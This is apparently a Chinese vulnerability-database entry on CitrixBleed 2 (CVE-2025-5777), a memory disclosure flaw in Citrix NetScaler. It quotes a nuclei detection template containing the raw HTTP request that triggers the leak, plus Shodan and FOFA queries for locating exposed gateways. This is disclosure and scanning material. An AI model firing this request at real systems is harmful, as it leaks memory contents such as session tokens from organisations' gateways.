漏洞信息
漏洞名称: Citrix NetScaler Memory Disclosure - CitrixBleed 2
漏洞编号:
漏洞类型: 信息泄露
漏洞等级: 严重
漏洞描述: Citrix NetScaler是一款广泛使用的应用交付控制器和网关产品,为企业提供负载均衡、SSL加速和安全的远程访问等功能。由于其广泛部署于企业网络边界,NetScaler的安全问题可能对企业的网络安全构成重大威胁。CVE-2025-5777漏洞,也被称为CitrixBleed 2,是由于NetScaler管理接口上的输入验证不足导致的内存过度读取问题。这种类型的信息泄露漏洞可能允许攻击者读取敏感的内存内容,进而可能导致更严重的安全问题,如敏感信息泄露或系统入侵。该漏洞的严重性被标记为’严重’,因为它可能被远程利用,且不需要用户认证即可触发。攻击者可以通过构造特定的HTTP请求来利用此漏洞,从而获取不应被访问的内存数据。由于NetScaler的广泛使用和其在企业网络中的关键位置,此漏洞的影响范围广泛,可能导致严重的数据泄露和安全事件。
产品厂商: Citrix
产品名称: NetScaler ADC, NetScaler Gateway
搜索语法: title:”NetScaler Gateway” OR title:”NetScaler AAA” OR http.favicon.hash:-1166125415 OR http.favicon.hash:-1292923998
来源: https://github.com/projectdiscovery/nuclei-templates/blob/b0703a69e73057ef45da19fb4d7a559a398f2189/http%2Fcves%2F2025%2FCVE-2025-5777.yaml
类型: projectdiscovery/nuclei-templates:github issues
POC详情
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| id: CVE-2025-5777
info: name: Citrix NetScaler Memory Disclosure - CitrixBleed 2 author: watchtowr,DhiyaneshDk,darses severity: critical description: | Insufficient input validation leading to memory overread on the NetScaler Management Interface NetScaler ADC and NetScaler Gateway reference: - https://support.citrix.com/support-home/kbsearch/article?articleNumber=CTX693420 - https://labs.watchtowr.com/how-much-more-must-we-bleed-citrix-netscaler-memory-disclosure-citrixbleed-2-cve-2025-5777/ - https://nvd.nist.gov/vuln/detail/CVE-2025-5777 classification: epss-score: 0.00042 epss-percentile: 0.12361 metadata: verified: true max-request: 1 shodan-query: - title:"NetScaler Gateway" - title:"NetScaler AAA" - http.favicon.hash:-1166125415 - http.favicon.hash:-1292923998 fofa-query: - title="NetScaler Gateway" - title="NetScaler AAA" - icon_hash="-1166125415" - icon_hash="-1292923998" tags: cve,cve2025,netscaler,citrix,exposure
http: - raw: - |+ POST /p/u/doAuthentication.do HTTP/1.0 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Content-Length: 5
login
unsafe: true matchers-condition: and matchers: - type: word part: body words: - "No active policy during authentication" negative: true
- type: word part: body words: - "<InitialValue></InitialValue><Constraint>" - "<InitialValue/><Constraint>" negative: true
- type: word part: content_type words: - "application/vnd.citrix.authenticateresponse"
- type: status status: - 200
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